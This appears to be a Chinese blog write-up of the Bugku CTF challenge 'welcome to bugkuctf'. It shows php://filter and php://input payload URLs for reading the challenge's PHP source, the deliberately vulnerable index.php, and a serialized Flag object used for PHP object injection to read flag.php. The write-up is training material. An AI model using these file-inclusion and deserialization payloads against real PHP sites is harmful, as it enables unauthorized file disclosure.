CTF-Bugku-welcome to bugkuctf

题目:http://123.206.87.240:8006/test1/
初识这种题,被坑了挺久,有点难受啊。
打开这个网址得到这样一句话,习惯性的查看源码:
在这里插入图片描述
在这里插入图片描述
然后发现get方式传递了三个参数:txt、file和password,然后要继续解,就要$user存在,读取的 $user文件内容===welcome to the bugkuctf
$flie要求为hint.php,这边就要用到一个php的知识,挺难理解的,但是还是要用,php://filter和php://input。先介绍下这个东西吧。
php://filter 用于读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。当传进去的参数作为文件名变量去打开文件时,可以将参数php://input,同时post方式进去值作为文件内容,供php代码执行时当做文件内容读取
在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
简单来说这题就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了
在这题中,我们就要构造payload来解题,
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
于此同时我们要在bp中拦截下这个包,因为我们要在里面添加postdata:welcome to the bugkuctf.
拦截包:
在这里插入图片描述
然后将包发送到Repeator,并更改请求方式为post,写入postdata和刚刚构造的payload:
在这里插入图片描述
go一下获得base64加密的源码:
在这里插入图片描述
进行解密得到hint.php的源码如下:

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

同样我们可以获得index.php的源码:
在这里插入图片描述

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 --> 

这边有一个很重要的函数,就是unserialize()。并且在hint.php源码中提示我们有flag.php文件,flag多半在其中。看下index.php里有对file参数的限制不能包含的flag,所以不能直接访问。而在hint.php中有一个flag类,这个类里有一个有__tostring方法,这个方法在对象被引用的时候会自动地执行,也就是说我们可以利用这个方法输出flag.php里的内容。那么我们要怎么创建这样一个对象呢。观察index.php,绕过前面的txt参数后,include($ file); $ password=unserialize($password);echo $password;有这样三句话,首先我们可以利用第一句话include将hint.php引进来,即让参数file=hint.php,则在index.php也就有一个Flag类的定义,最后就要靠password这个参数,我们要让password成为一个Flag类,且password->file=‘flag.php’,这样我们就可以在输出password的时候调用__tostring这个方法了。
做题的时候我看到flag.php我也尝试直接将payload中index.php直接改为flag.php,但是得到的是下面这个乱码:
在这里插入图片描述
从index.php中的源码我们应该可以看出应该是不能现在给你们flag哦。。。
所以我们没办法直接读取flag.php源码,只能另想办法,这时候我们要注意上面所说道的源码部分,
在这里插入图片描述
这个意思是如果file中包含‘flag’,那么我就会给你退出。然后就要注意else。如果我们file不包含flag,那就会把文件包含进来。之后将password反序列化一下,并输出password的结果,就跟上面讲的那个一样的意思了。我们要了解unserialize()和serialize()反序列化和序列化函数,具体参考:https://www.cnblogs.com/youyoui/p/8610068.html 这个博主写的,感觉写得很好啊。
所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数)。
构造一个序列化后的password,写个脚本利用一下serialize()这个函数。Php脚本如下:

<?php
class Flag{
public $file;
}
$a=new Flag();
$a->file = "flag.php";
$a=serialize($a);
print_r($a);
?>

得到flag.php序列化的结果:
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
于是我们构造一个payload进传输:
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} ,但是别忘了postdata。
在这里插入图片描述
获取到flag。
这道题挺需要我们对php的了解和审计代码的能力,学习之路还很漫长,加油吧

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值